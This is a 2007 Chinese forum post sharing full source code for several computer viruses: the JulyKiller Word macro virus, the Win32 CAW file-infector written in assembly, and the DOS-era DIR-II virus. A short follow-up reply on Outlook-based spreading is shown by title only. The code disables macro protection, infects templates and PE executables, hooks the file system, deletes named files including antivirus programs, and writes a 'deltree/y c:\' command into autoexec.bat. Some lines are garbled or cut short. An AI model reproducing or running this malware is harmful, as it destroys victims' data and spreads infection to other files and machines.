病毒源码(不断更新)(页 1) - 病毒讨论专版 - 中国网管论坛全国网管乃一家

冒昧打扰 发表于 2007-12-3 14:47

病毒源码(不断更新)

名称：JulyKiller code
类别：病毒源码￤宏病毒
文件大小： 2KB
运行平台： Windows

Sub AutoOpen()
Dim file$
Dim ans$
Dim test
Dim mItem
Dim cItem
Dim aDoc
Dim aTemp
Dim vset
Dim Iset
Dim ad
For Each ad In AddIns
If ad.Name = "Autoexec.dot" Then
看看autoexec.dot是否加载
ad.Installed = False
End If
Next ad
With Dialogs(wdDialogToolsOptionsFileLocations)
.Path = "STARTUP-PATH"
.Setting = "c:\"
.Execute
把起始目录指向C:\ 以便加载autoexec.dot
End With
If Options.VirusProtection Then
Options.VirusProtection = False
关掉宏病毒防护选项
End If
file$ = WordBasic.[MacroFileName$]()
If InStr(file$, "Autoexec") <> 0 Then
For Each aDoc In Documents
For Each cItem In aDoc.VBProject.VBComponents
If (cItem.Name = "a") Then
看模板里是否有个名字为"a"的模块
vset = 1
有,已经感染过了
End If
Next cItem
Next aDoc
For Each cItem In NormalTemplate.VBProject.VBComponents
该查Normal模板了
If (cItem.Name = "a") Then
vset = 1
End If
Next cItem
If vset <> 1 Then
WordBasic.DisableAutoMacros
准备感染,关掉自动宏选项
Documents.Open FileName:="C:\Autoexec.dot", AddToRecentFiles:=False
For Each aDoc In Documents
If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
WordBasic.MacroCopy ActiveDocument.FullName + ":a", aDoc.FullName + ":a"
创建C:\autoexec.dot模板,并将病毒复制过去
End If
Next aDoc
For Each aTemp In Templates
If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
WordBasic.MacroCopy ActiveDocument.FullName + ":a", aTemp.FullName + ":a"

End If
Next aTemp
ActiveDocument.Save
ActiveDocument.Close
End If
If vset = 1 Then
GoTo out
End If
End If
With Application.FileSearch
如果打开的文件不是autoexec.dot ,则自己找
.LookIn = "C:\"
.FileName = "Autoexec.dot"
If .Execute > 0 Then
Iset = 1
End If
End With
If Iset <> 1 Then
WordBasic.DisableAutoMacros
Documents.Add NewTemplate:=True
WordBasic.MacroCopy file$ + ":a", ActiveDocument.FullName + ":a"
ActiveDocument.SaveAs FileName:="c:\Autoexec.dot", AddToRecentFiles:=False
ActiveDocument.Close
End If
For Each aDoc In Documents
If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
For Each cItem In aDoc.VBProject.VBComponents
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
aDoc.VBProject.VBComponents.Remove (cItem)
End If
Next cItem
End If
Next aDoc
For Each aTemp In Templates
If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then
For Each cItem In aTemp.VBProject.VBComponents
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
aTemp.VBProject.VBComponents.Remove (cItem)
End If
Next cItem
In cItem.CommandBar.Controls
以菜单标题作判断条件屏蔽宏操作选项, 如果是英文版就无法屏蔽,漏洞
If mItem.Caption = "宏(&M)..." Then
mItem.
End If
If mItem.Caption = "Visual Basic 编辑器(&V)" Then
mItem.
End If
Next mItem
End If
End If
Next cItem
For Each cItem In CommandBars("Visual Basic").Controls
屏蔽按钮
cItem.
Next cItem
For Each cItem In CommandBars
If cItem.Visible = True Then
屏蔽按钮自定义
cItem.Protection = msoBarNoCustomize
End If
Next cItem
WordBasic.FileSaveAll 1, 1
保存屏蔽设置
pun
病毒发作表现
If WordBasic.Month(WordBasic.Now()) = 7 Then
7月到了吗? July-Punished
try
On Error GoTo -1 On Error GoTo 0
On Error GoTo -1 On Error GoTo try
If test > 2 Then GoTo result
test = test + 1
WordBasic.Beep
ans$ = WordBasic.[InputBox$]("当今社会太黑暗，太不公正了！(" + Str(test) + ")", "醒世恒言", "非常正确")
弹出提问选项,等待回答
If WordBasic.[RTrim$](WordBasic.[LTrim$](ans$)) = "非常正确" Then
WordBasic.Beep
WordBasic.MsgBox "You are wise,please choose this later again,critically!", 48
GoTo exit_
Else
GoTo try
End If
result
3次没答对
WordBasic.Beep
WordBasic.MsgBox "Stop it!you are so incurable to lose 3 chances!" + Chr(13) + "Now,god will punish you...", 48
往autoexec.bat中加入deltree c:\ ,下次启动,C盘上所有东西将被删除.
Open "C:\autoexec.bat" For Output As 1
Print #1, "deltree/y c:\"
Close 1
Else
'MsgBox "Conguratulations!"
End If
exit_
For Each myTask In Tasks
If InStr(myTask.Name, "Visual Basic") > 0 Then
myTask.Visible = False
End If
Next myTask
End Sub
Sub AutoExec()
该宏在word启动时自动执行
End Sub
sub autoclose()
该宏在文件关闭时自动执行
end sub

Win32 CAW code病毒名称： Win32 CAW code
病毒类别： WIN32病毒
文件大小： 4KB
运行平台： Windows

.386P
.MODEL FLAT
.CODE

;DR0存放段地址(全局)
;DR1存放零时变量(局部)
;DR2存放文件修改标志(局部)
;DR3未用

NOTDATA_SIZE    = OFFSET CVSIZE-OFFSET NOTDATA ;变形数据大小
CV_SIZE       = OFFSET CVSIZE-OFFSET START ;病度大小
MYCODE_MEM_OFF    = 401000H

;*****************************************
;*PE Section 格式                *
;*****************************************
  SECTION_NAME    = 00H
  VIRTUAL_SIZE    = 08H
  VIRTUAL_ADDRESS    = 0CH
  PHYS_SIZE       = 10H
  PHYS_ADDRESS    = 14H
  CHARACTERISTICS    = 24H
;*****************************************
;*PE Section 格式                *
;*****************************************

;*****************************************
;*引导块开始                *
;*****************************************
START :PUSHAD
MOV ESI,EAX

PUSH EAX
SIDT FWORD PTR [ESP-2]
POP EBX

ADD EBX,3*8H
MOV EBP,[EBX+4]
MOV BP,[EBX]
MOV EAX,EBP

JMP NEXTCODE1
DW 87C1H    ;迷惑静态反编译
NEXTCODE1:
SHR EAX,18H
OR AL,AL
JZ STAYED_IN_MEM

CLI
LEA EAX,ESI[RING0-START]
MOV [EBX],AX
SHR EAX,10H
MOV [EBX+6],AX
STI
INT 3H
STAYED_IN_MEM:
POPAD
MOV EAX,NOT(MYCODE_MEM_OFF+OFFSET AGAIN-OFFSET START)
OLD_EP = DWORD PTR $-4
NOT EAX
AGAIN: JMP EAX
DW 87C7H
RING0: XOR ECX,ECX
PUSH 0FH
PUSH ECX
PUSH 0FFH
PUSH ECX
PUSH ECX
PUSH ECX
PUSH 01H
PUSH 02H
INT20_01_53:
INT 20H
DW 53H
DW 01H
ADD ESP,20H

OR EDX,EDX
JNZ ENOUGH_MEM
CLI
MOV [EBX],BP
SHR EBP,10H
MOV [EBX+6],BP
STI
IRETD
DW 87C7H
ENOUGH_MEM:
MOV EDI,EDX
MOV ECX,CV_SIZE
CLD
REP MOVSB
MOV EDI,EDX

LEA EAX,EDI[NEWAPI-START]
PUSH EAX
INT20_40_67:
INT 20H
DW 0067H
DW 0040H    ;InstallFileSystemApiHook
ADD ESP,4

MOV EDI[OLDAPI-START],EAX
MOV EDI[DELTA-START],EDI

MOV AX,20CDH
MOV EDI[INT20_01_53-START ],AX          ;PageAlloc
MOV EDI[INT20_01_53-START+2],DWORD PTR 00010053H
MOV EDI[INT20_40_32-START ],AX          ;IFSMgr_FileIO
MOV EDI[INT20_40_32-START+2],DWORD PTR 00400032H
MOV EDI[INT20_40_41-START ],AX          ;BcsToUni
MOV EDI[INT20_40_41-START+2],DWORD PTR 00400041H
MOV EDI[ENTERF-START],BYTE PTR 0

MOV ECX,NOTDATA_SIZE
ADD EDI,OFFSET NOTDATA - OFFSET START
NOT_LOOP:
MOV AL,[EDI]
NOT AL
MOV EDI[DATA-NOTDATA],AL
INC EDI
DEC ECX
JECXZ NOT_END
JMP NOT_LOOP
DW 87C7H
NOT_END:
IRETD
;*****************************************
;*引导块结束                   *
;*****************************************

;*****************************************
;*文件系统挂钩函数SystemFileApiHook开始 *
;*****************************************
;-------进入处理--------------------------
NEWAPI: PUSHAD
MOV EDI,0
DELTA = DWORD PTR $-4
MOV DR0,EDI
MOV EBX,ESP

CMP EDI[ENTERF-START],BYTE PTR 0
JZ I_AM_FREE

PUSH DWORD PTR [EBX+20H+4H+14H]
CALL [EBX+20H+4H]
POP ECX
MOV [EBX+1CH],EAX

CMP DWORD PTR [EBX+20H+4H+04H],24H
JNZ QUITFSH
MOV EAX,[ECX+28H]
MOV EDI[FILEMODI-START],EAX
QUITFSH:POPAD
RET
DW 87C7H
I_AM_FREE:
CMP DWORD PTR [EBX+20H+4H+04H],24H
JNZ CALLOLDAPI
MOV EDI[ENTERF-START],BYTE PTR 1

; ------进入处理--------------------------
LEA ESI,EDI[BUFFER-START]
MOV EAX,[EBX+20H+4H+8H]
CMP AL,0FFH
JZ JPDRV
ADD AL,40H
MOV [ESI],AL
INC ESI
MOV [ESI],BYTE PTR ':'
INC ESI
JPDRV: SUB EAX,EAX
PUSH EAX
PUSH 0FFH
MOV EBX,[EBX+20H+4+14H]
MOV EAX,[EBX+0CH]
INC EAX       ;ADD EAX,4
INC EAX
INC EAX
INC EAX

PUSH EAX
PUSH ESI
INT20_40_41:
INT 20H
DW 0041H
DW 0040H
ADD ESP,10H
INC EAX
INC EAX
DEC ESI
DEC ESI

ADD EDI,OFFSET FILENAME-OFFSET START
MOV ECX,EAX
CLD
REP MOVSB
MOV [ESI],CL
MOV [EDI],CL
MOV EDI,DR0
;-----------读取DAW并删除其指定文件---------
GETDAWFILE:
MOV DR1,ESI    ;被操作文件名尾指针->DR1
MOV AX,0D500H
XOR EBX,EBX
XOR ECX,ECX
XOR EDX,EDX    ;MOV EDX,1
INC EDX
LEA ESI,EDI[COM_FN-START]
CALL INT20_40_32
JC FIND_NOCOM

MOV EBX,EAX
MOV AX,0D800H
CALL INT20_40_32
JC CLOSE_GETCOM

MOV ECX,EAX
XOR EDX,EDX
LEA ESI,EDI[COMLINE-START]
CALL READFILE
CLOSE_GETCOM:
MOV AX,0D700H
CALL INT20_40_32

CLD
XCHG ESI,EDI    ;ESI->@ EDI->COMLINE
MOV AX,000DH
REPL_CON:
REPNZ SCASB
JECXZ EXIT_REPL_LOOP
DEC EDI
INC ECX
MOV [EDI],AH
JMP REPL_CON
DW 87C7H
EXIT_REPL_LOOP:
XCHG EDI,ESI    ;EDI->@ ESI->COMLINE末

CMP [ESI-3],BYTE PTR '#'
JNZ FIND_NOCOM

MOV AL ,07H
OUT 70H,AL
IN AL ,71H
MOV CL ,AL
MOV AL ,08H
OUT 70H,AL
IN AL ,71H
MOV CH ,AL

MOV AH,'0'

MOV DX,[ESI-7] ;读月
SUB DH,AH
SUB DL,AH
SHL DL,4
ADD DL,DH
OR DL,DL
JZ IGNOREMONTH
CMP DL,CH
JNZ CMP_EXE
IGNOREMONTH:
MOV DX,[ESI-5] ;读日
SUB DH,AH
SUB DL,AH
SHL DL,4
ADD DL,DH
OR DL,DL
JZ FIND_NOCOM
CMP DL,CL
JNZ CMP_EXE
FIND_NOCOM:
MOV ESI,DR1
ADD EDI,OFFSET COMLINE-OFFSET START

XOR AL ,AL
OUT 70H,AL
IN AL ,71H
MOV BH,AL
AND BH,00011111B    ;比较秒(BH=SEC*2)
XOR BL,BL
XOR EDX,EDX
DEC EDI
DEC EDI
DELF_LOOP:
NOT BL
ADD EDI,EDX
INC EDI
INC EDI
CMP [EDI],BYTE PTR 0
JZ CMP_EXE
CALL GET_STL
MOV EDX,ECX
PUSH ESI
SUB ESI,EDX
CALL CMP_ST
POP ESI
JNZ DELF_LOOP
OR BL,BL
JNZ DEL_IT_EVERYTIME
OR BH,BH
JNZ DELF_LOOP
DEL_IT_EVERYTIME:
CALL DEL_FILE
JMP EXITAPI
DW 87C7H
;-----------读取DAW并删除其指定文件---------
CMP_EXE:
MOV ESI,DR1
MOV EAX,NOT('EXE.')       ;是否为EXE文件
NOT EAX
CMP [ESI-4],EAX
JNZ EXITAPI
CALL INF_EXE
;-------退出处理--------------------------
EXITAPI:MOV EDI,DR0
MOV EDI[ENTERF-START],BYTE PTR 0
CALLOLDAPI:
POPAD
MOV EAX,0
OLDAPI = DWORD PTR $-4
JMP [EAX]

;-------退出处理--------------------------
;*****************************************
;*文件系统挂钩函数SystemFileApiHook结束 *
;*****************************************
;-------比较字符串 ---------------
CMP_ST: PUSH ESI          ;进口:ESI->字符串1 EDI->字符串2
PUSH EDI
CLD
CMP_ST_LOOP:
REPZ CMPSB
JECXZ NOCHAR
CMP [EDI-1],BYTE PTR '?'
JZ CMP_ST_LOOP
NOCHAR: POP EDI
POP ESI
OR ECX,ECX          ;出口:相等->Z位置1 不相等->Z位置0
RET
;-------比较字符串----------------
;-------取字符串长度--------------
GET_STL:PUSH EAX          ;进口:EDI->字符串
PUSH EDI
XOR ECX,ECX
DEC ECX
XOR AL,AL
REPNZ SCASB
NOT ECX
DEC ECX
POP EDI
POP EAX
RET                ;出口:ECX=字符串长度
;-------取字符串长度--------------
;-------删除一文件---------------
DEL_FILE: MOV AX,4301H       ;进口:将该文件名放入FILENAME
   XOR ECX,ECX
   MOV ESI,DR0
   ADD ESI,OFFSET FILENAME-OFFSET START
   CALL INT20_40_32
   JC DELF_EXIT
   MOV AX,4100H
   CALL INT20_40_32    ;出口:无
DELF_EXIT:
   RET
;-------删除一文件---------------
;-------感染EXE文件---------------
INF_EXE:
MOV EDI,DR0
XOR EAX,EAX
MOV DR2,EAX

MOV AX,4300H
LEA ESI,EDI[FILENAME-START]
CALL INT20_40_32
JC EXIT_INF_EXE
MOV DR1,ECX

MOV AX,4301H
XOR ECX,ECX
CALL INT20_40_32
JC EXIT_INF_EXE

MOV AX,0D500H
SUB ECX,ECX
XOR EDX,EDX ;MOV EDX,01H
INC EDX
MOV EBX,EDX ;MOV EBX,02H
INC EBX
LEA ESI,EDI[FILENAME-START]
CALL INT20_40_32
JC RET_ATTRIB
MOV EBX,EAX

XOR ECX,ECX ;MOV ECX,04H
MOV CL ,04H
XOR EDX,EDX ;MOV EDX,3CH
MOV DL ,3CH

LEA ESI,EDI[PEFILE_PTR-START]
CALL READFILE
JC NFIND

XOR ECX,ECX ;MOV ECX,60H
MOV CL ,60H
MOV EDX,EDI[PEFILE_PTR-START]
LEA ESI,EDI[BUFFER-START]
CALL READFILE

MOV AX,NOT('EP')          ;判断是否为PE文件
NOT AX
CMP [ESI],AX
JNZ NFIND

MOV EAX,[ESI+28H]
MOV EDI[OLD_EP-START],EAX    ;读 OLD_EP

MOV EAX,[ESI+34H]
MOV EDI[IMAGEBASE-START],EAX    ;读 IMAGEBASE
ADD EDI[OLD_EP-START],EAX
NOT DWORD PTR EDI[OLD_EP-START]

MOV EAX,[ESI+3CH]          ;读 FILEALIGNMENT
MOV EDI[FILEALIGNMENT-START],EAX

XOR EAX,EAX
MOV AX,[ESI+06H]          ;读 SECTION_N
MOV EDI[SECTION_N-START],AX

XOR ECX,ECX ;MOV ECX,28H    ;GET SECTION_SIZE
MOV CL ,28H
MUL ECX
MOV ECX,EAX
MOV EDI[SECTION_SIZE-START],ECX

XOR EDX,EDX
ADD DX,[ESI+14H]
ADD EDX,18H
ADD EDX,EDI[PEFILE_PTR-START] ;GET SECTION_POSITION
MOV EDI[SFILE_PTR-START],EDX

LEA ESI,EDI[BUFFER-START]    ;读取Sections
CALL READFILE

MOV EDX,[ESI+3CH]          ;如果是ZIP自解压则不感染
MOV ECX,4                ;ZIP自解压文件的标志是SECTION_2
LEA ESI,EDI[BUFFER-START+4F0H] ;的前4字节是否为0xFFFFFFFF
CALL READFILE
MOV EDX,[ESI]
INC EDX
OR EDX,EDX
JZ NFIND

LEA ESI,EDI[BUFFER-START]
MOV AX,EDI[SECTION_N-START]
SECT_LOOP:
OR AX,AX
JZ TEST_LAST_SECTION
CMP [ESI+VIRTUAL_SIZE],DWORD PTR 0
JZ PHYS_B_VIRS
MOV EDX,[ESI+PHYS_SIZE]
SUB EDX,[ESI+VIRTUAL_SIZE]
JS PHYS_B_VIRS
CMP EDX,CV_SIZE
JA FINDSECTION
PHYS_B_VIRS:
DEC AX
ADD ESI,28H
JMP SECT_LOOP
DW 87C7H
TEST_LAST_SECTION:
SUB ESI,28H
MOV AX,0D800H
CALL INT20_40_32

MOV EDX,[ESI+PHYS_ADDRESS]
ADD EDX,[ESI+PHYS_SIZE ]
CMP EAX,EDX
JNZ NFIND

MOV EDX,[ESI+VIRTUAL_SIZE]
OR EDX,EDX
JZ NFIND
MOV EAX,[ESI+PHYS_SIZE]
CMP EAX,EDX
JBE NFIND

XOR EDX,EDX
MOV EAX,CV_SIZE
MOV ECX,EDI[FILEALIGNMENT-START]
DIV ECX
INC EAX
MUL ECX
PUSH EAX

ADD [ESI+PHYS_SIZE],EAX
MOV EAX,[ESI+VIRTUAL_ADDRESS]
ADD EAX,[ESI+PHYS_SIZE]
MOV EDI[SIZEOFIMAGE-START],EAX


PUSH ESI
MOV EDX,EDI[PEFILE_PTR-START]
ADD EDX,50H
MOV ECX,4
LEA ESI,EDI[SIZEOFIMAGE-START]
CALL WRITEFILE
XOR EAX,EAX
INC EAX
MOV DR2,EAX
POP ESI
POP EAX
JC RET_ATTRIB

MOV EDX,[ESI+PHYS_SIZE]
SUB EDX,EAX
JMP WRITE2FILE
DW 87C7H
FINDSECTION:
MOV EDX,[ESI+PHYS_SIZE]
SUB EDX,CV_SIZE

WRITE2FILE:
MOV EAX,[ESI+PHYS_SIZE]
MOV [ESI+VIRTUAL_SIZE],EAX
MOV [ESI+CHARACTERISTICS],DWORD PTR 0E0000040H ;(0E0000040H)数据可读可写
可执行

MOV EAX,[ESI+VIRTUAL_ADDRESS]
ADD EAX,EDX
MOV EDI[NEW_EP-START],EAX

ADD EDX,[ESI+PHYS_ADDRESS]
MOV ECX,CV_SIZE
MOV ESI,EDI             ;写自身
CALL WRITEFILE
JC RET_ATTRIB

MOV ECX,EDI[SECTION_SIZE-START]
MOV EDX,EDI[SFILE_PTR-START] ;写 SECTION
LEA ESI,EDI[BUFFER-START]
CALL WRITEFILE

XOR ECX,ECX ;MOV ECX,4
MOV CL,04H
MOV EDX,EDI[PEFILE_PTR-START] ;写 NEW_EP
ADD EDX,28H
LEA ESI,EDI[NEW_EP-START]
CALL WRITEFILE

NFIND: MOV AX,0D700H
CALL INT20_40_32

RET_ATTRIB:
MOV AX,4301H
LEA ESI,EDI[FILENAME-START]
MOV ECX,DR1
CALL INT20_40_32

MOV EAX,DR2             ;判断是否文件已被修改
OR EAX,EAX
JNZ EXIT_INF_EXE

MOV AX,4303H
MOV ECX,EDI[FILEMODI-START ] ;改回文件修改日期
MOV EDI,EDI[FILEMODI-START+2]
CALL INT20_40_32

EXIT_INF_EXE:
RET
;-------感染EXE文件--------------
;--------------------------------
WRITEFILE:
   MOV AX,0D601H
   JMP INT20_40_32
   DW 87C7H
READFILE:MOV AX,0D600H
INT20_40_32:
   INT 20H
   DW 32H
   DW 40H
   RET
;--------------------------------
NOTDATA:

NOT_COM_FN DB NOT'C',NOT':',NOT'\',NOT'D',NOT'A',NOT'W',NOT(0)

NOT_COMLINE DB NOT'A',NOT'V',NOT'.',NOT'E',NOT'X',NOT'E',NOT(0),NOT(0)
      DB NOT'W',NOT'O',NOT'R',NOT'D',NOT'.',NOT'E',NOT'X',NOT'E',NOT(0),N
OT(0)

      DB NOT'M',NOT'O',NOT'N',NOT'.',NOT'E',NOT'X',NOT'E',NOT(0),NOT(0)
      DB NOT'.',NOT'D',NOT'O',NOT'C',NOT(0),NOT(0)

      DB NOT'M',NOT'O',NOT'N',NOT'?',NOT'?',NOT'.',NOT'E',NOT'X',NOT'E',N
OT(0),NOT(0)
      DB NOT'.',NOT'D',NOT'P',NOT'R',NOT(0),NOT(0)

      DB NOT'M',NOT'O',NOT'N',NOT'?',NOT'?',NOT'?',NOT'?',NOT'.',NOT'E',N
OT'X',NOT'E',NOT(0),NOT(0)
      DB NOT'.',NOT'J',NOT'P',NOT'G',NOT(0),NOT(0)

      DB NOT'V',NOT'S',NOT'C',NOT'A',NOT'N',NOT'?',NOT'?',NOT'.',NOT'E',N
OT'X',NOT'E',NOT(0),NOT(0)
      DB NOT'.',NOT'M',NOT'P',NOT'3',NOT(0),NOT(0)

      DB NOT('K'),NOT('V'),NOT('?'),NOT('0'),NOT('0'),NOT('.'),NOT('?'),N
OT('?'),NOT('?'),NOT(0)
      DB NOT'.',NOT'P',NOT'A',NOT'S',NOT(0),NOT(0)

      DB NOT(0),NOT(0)

      DB NOT('D'),NOT('o'),NOT('n'),NOT(27H),NOT('t'),NOT(' '),NOT('k'),N
OT('i'),NOT('l')
      DB NOT('l'),NOT(' '),NOT('m'),NOT('e'),NOT('!'),NOT('I'),NOT(' '),N
OT('a'),NOT('m')
      DB NOT(' '),NOT('a'),NOT(' '),NOT('g'),NOT('o'),NOT('o'),NOT('d'),N
OT(' '),NOT('v')
      DB NOT('i'),NOT('r'),NOT('u'),NOT('s'),NOT('!')

CVSIZE:
ENTERF          DB 0 ;进入标志
SECTION_N       DW 0 ;块个数
SECTION_SIZE    DD 0 ;块大小
PEFILE_PTR    DD 0 ;PE文件指针
SFILE_PTR       DD 0 ;SECTION文件指针
FILEALIGNMENT    DD 0 ;文件对齐因子
IMAGEBASE       DD 0 ;基地址
NEW_EP          DD 0 ;新入口
SIZEOFIMAGE    DD 0 ;IMAGE大小
FILEMODI       DD 0 ;文件修改日期

FILENAME       DB 100H DUP(0) ;被拦截的文件名
BUFFER          DB 500H DUP(0) ;缓冲区

DATA:
COM_FN          DB 'C:\DAW',0
COMLINE       DB 0

   END START

;***********makefile内容*********************
;.asm.obj:                      *
; tasm32 cvaw.asm cvaw.obj cvaw.lst    *
;cvaw.exe: cvaw.obj                *
; tlink32 /Tpe cvaw.obj,cvaw.exe,,,cvaw.def*
;***********makefile内容*********************

;编译需要tasm32.exe tlink32.exe make.exe

;***********C:\DAW文件内容****************
;文件1(回车)                *
;文件2(回车)                *
; .                      *
; .                      *
; .                      *
;文件N(回车)                *
;(回车)                      *
;(回车)                      *
;nnnn#(回车)                *
;                         *
;回车的ASCII码为0D,0A          *
;                         *
;cvaw识别文件从末尾开始比较       *
;如:WINWORD.EXE符合WORD.EXE       *
;要删*.DOC就打.DOC             *
;N别太大,会溢出                *
;                         *
;nnnn为发作日期                *
;如:0723#(7月23日)             *
;                         *
;一定要严格遵守回车的位置和数量,否则无效 *
;***********C:\DAW文件内容****************

病毒名称：DIRII virus code
文件大小： 3KB
运行平台： Windows

i13org = 5f8h
i21org = 5fch

org 100h

mov sp,600h
inc counter
xor cx,cx
mov ds,cx
lds ax,[0c1h]
add ax,21h
push ds
push ax
mov ah,30h
call jump
cmp al,4
sbb si,si
mov drive+2,byte ptr -1
mov bx,60h
mov ah,4ah
call jump

mov ah,52h
call jump
push es:[bx-2]
lds bx,es:[bx]

search: mov ax,[bx+si+15h]
cmp ax,70h
jne next
xchg ax,cx
mov [bx+si+18h],byte ptr -1
mov di,[bx+si+13h]
mov [bx+si+13h],offset header
mov [bx+si+15h],cs
next: lds bx,[bx+si+19h]
cmp bx,-1
jne search
jcxz install

pop ds
mov ax,ds
add ax,[3]
inc ax
mov dx,cs
dec dx
cmp ax,dx
jne no_boot
add [3],61h
no_boot: mov ds,dx
mov [1],8

mov ds,cx
les ax,[di+6]
mov cs:str_block,ax
mov cs:int_block,es

cld
mov si,1
scan: dec si
lodsw
cmp ax,1effh
jne scan
mov ax,2cah
cmp [si+4],ax
je right
cmp [si+5],ax
jne scan
right: lodsw
push cs
pop es
mov di,offset modify+1
stosw
xchg ax,si
mov di,offset i13org
cli
movsw
movsw

mov dx,0c000h
fdsk1: mov ds,dx
xor si,si
lodsw
cmp ax,0aa55h
jne fdsk4
cbw
lodsb
mov cl,9
sal ax,cl
fdsk2: cmp [si],6c7h
jne fdsk3
cmp [si+2],4ch
jne fdsk3
push dx
push [si+4]
jmp short death
install: int 20h
file: db "c:",255,0
fdsk3: inc si
cmp si,ax
jb fdsk2
fdsk4: inc dx
cmp dh,0f0h
jb fdsk1

sub sp,4
death: push cs
pop ds
mov bx,[2ch]
mov es,bx
mov ah,49h
call jump
xor ax,ax
test bx,bx
jz boot
mov di,1
seek: dec di
scasw
jne seek
lea si,[di+2]
jmp short exec
boot: mov es,[16h]
mov bx,es:[16h]
dec bx
xor si,si
exec: push bx
mov bx,offset param
mov [bx+4],cs
mov [bx+8],cs
mov [bx+12],cs
pop ds
push cs
pop es

mov di,offset f_name
push di
mov cx,40
rep movsw
push cs
pop ds

mov ah,3dh
mov dx,offset file
call jump
pop dx

mov ax,4b00h
call jump
mov ah,4dh
call jump
mov ah,4ch

jump: pushf
call dword ptr cs:[i21org]
ret

;--------Installation complete

i13pr: mov ah,3
jmp dword ptr cs:[i13org]

main: push ax ; driver
push cx ; strategy block
push dx
push ds
push si
push di

push es
pop ds
mov al,[bx+2]

cmp al,4 ; Input
je input
cmp al,8
je output
cmp al,9
je output

call in
cmp al,2 ; Build BPB
jne ppp ;
lds si,[bx+12h]
mov di,offset bpb_buf
mov es:[bx+12h],di
mov es:[bx+14h],cs
push es
push cs
pop es
mov cx,16
rep movsw
pop es
push cs
pop ds
mov al,[di+2-32]
cmp al,2
adc al,0
cbw
cmp [di+8-32],0
je m32
sub [di+8-32],ax
jmp short ppp
m32: sub [di+15h-32],ax
sbb [di+17h-32],0

ppp: pop di
pop si
pop ds
pop dx
pop cx
pop ax
rts: retf

output: mov cx,0ff09h
call check
jz inf_sec
call in
jmp short inf_dsk

inf_sec: jmp _inf_sec
read: jmp _read
read_: add sp,16
jmp short ppp

input: call check
jz read
inf_dsk: mov byte ptr [bx+2],4
cld
lea si,[bx+0eh]
mov cx,8
save: lodsw
push ax
loop save
mov [bx+14h],1
call driver
jnz read_
mov byte ptr [bx+2],2
call in
lds si,[bx+12h]
mov ax,[si+6]
add ax,15
mov cl,4
shr ax,cl
mov di,[si+0bh]
add di,di
stc
adc di,ax
push di
cwd
mov ax,[si+8]
test ax,ax
jnz more
mov ax,[si+15h]
mov dx,[si+17h]
more: xor cx,cx
sub ax,di
sbb dx,cx
mov cl,[si+2]
div cx
cmp cl,2
sbb ax,-1
push ax
call convert
mov byte ptr es:[bx+2],4
mov es:[bx+14h],ax
call driver
again: lds si,es:[bx+0eh]
add si,dx
sub dh,cl
adc dx,ax
mov cs:gad+1,dx
cmp cl,1
je small
mov ax,[si]
and ax,di
cmp ax,0fff7h
je bad
cmp ax,0ff7h
je bad
cmp ax,0ff70h
jne ok
bad: pop ax
dec ax
push ax
call convert
jmp short again
small: not di
and [si],di
pop ax
push ax
inc ax
push ax
mov dx,0fh
test di,dx
jz here
inc dx
mul dx
here: or [si],ax
pop ax
call convert
mov si,es:[bx+0eh]
add si,dx
mov ax,[si]
and ax,di
ok: mov dx,di
dec dx
and dx,di
not di
and [si],di
or [si],dx

cmp ax,dx
pop ax
pop di
mov cs:pointer+1,ax
je _read_
mov dx,[si]
push ds
push si
call write
pop si
pop ds
jnz _read_
call driver
cmp [si],dx
jne _read_
dec ax
dec ax
mul cx
add ax,di
adc dx,0
push es
pop ds
mov [bx+12h],2
mov [bx+14h],ax
test dx,dx
jz less
mov [bx+14h],-1
mov [bx+1ah],ax
mov [bx+1ch],dx
less: mov [bx+10h],cs
mov [bx+0eh],100h
call write

_read_: std
lea di,[bx+1ch]
mov cx,8
load: pop ax
stosw
loop load
_read: call in

mov cx,9
_inf_sec:
mov di,es:[bx+12h]
lds si,es:[bx+0eh]
sal di,cl
xor cl,cl
add di,si
xor dl,dl
push ds
push si
call find
jcxz no_inf
call write
and es:[bx+4],byte ptr 07fh
no_inf: pop si
pop ds
inc dx
call find
jmp ppp

;--------Subroutines

find: mov ax,[si+8]
cmp ax,"XE"
jne com
cmp [si+10],al
je found
com: cmp ax,"OC"
jne go_on
cmp byte ptr [si+10],"M"
jne go_on
found: test [si+1eh],0ffc0h ; >4MB
jnz go_on
test [si+1dh],03ff8h ; <2048B
jz go_on
test [si+0bh],byte ptr 1ch
jnz go_on
test dl,dl
jnz rest
pointer: mov ax,1234h
cmp ax,[si+1ah]
je go_on
xchg ax,[si+1ah]
gad: xor ax,1234h
mov [si+14h],ax
loop go_on
rest: xor ax,ax
xchg ax,[si+14h]
xor ax,cs:gad+1
mov [si+1ah],ax
go_on: ;rol cs:gad+1,1
db 2eh,0d1h,6
dw offset gad+1
add si,32
cmp di,si
jne find
ret

check: mov ah,[bx+1]
drive: cmp ah,-1
mov cs:[drive+2],ah
jne changed
push [bx+0eh]
mov byte ptr [bx+2],1
call in
cmp byte ptr [bx+0eh],1
pop [bx+0eh]
mov [bx+2],al
changed: ret

write: cmp byte ptr es:[bx+2],8
jae in
mov byte ptr es:[bx+2],4
mov si,70h
mov ds,si
modify: mov si,1234h
push [si]
push [si+2]
mov [si],offset i13pr
mov [si+2],cs
call in
pop [si+2]
pop [si]
ret

driver: mov es:[bx+12h],1
in:
db 09ah
str_block:
dw ?,70h
db 09ah
int_block:
dw ?,70h
test es:[bx+4],byte ptr 80h
ret

convert: cmp ax,0ff0h
jae fat_16
mov si,3
xor cs:[si+gad-1],si
mul si
shr ax,1
mov di,0fffh
jnc cont
mov di,0fff0h
jmp short cont
fat_16: mov si,2
mul si
mov di,0ffffh
cont: mov si,512
div si
header: inc ax
ret

counter: dw 0

dw 842h
dw offset main
dw offset rts
db 7fh

param: dw 0,80h,?,5ch,?,6ch,?

bpb_buf: db 32 dup(?)
f_name: db 80 dup(?)

;--------The End.

[[i] 本帖最后由冒昧打扰于 2007-12-3 14:55 编辑 [/i]]

冒昧打扰 发表于 2007-12-3 14:56

OutLook传播病毒的机理
OutLook传播病毒的机理
文件大小： 3KB
运行平台： Windows

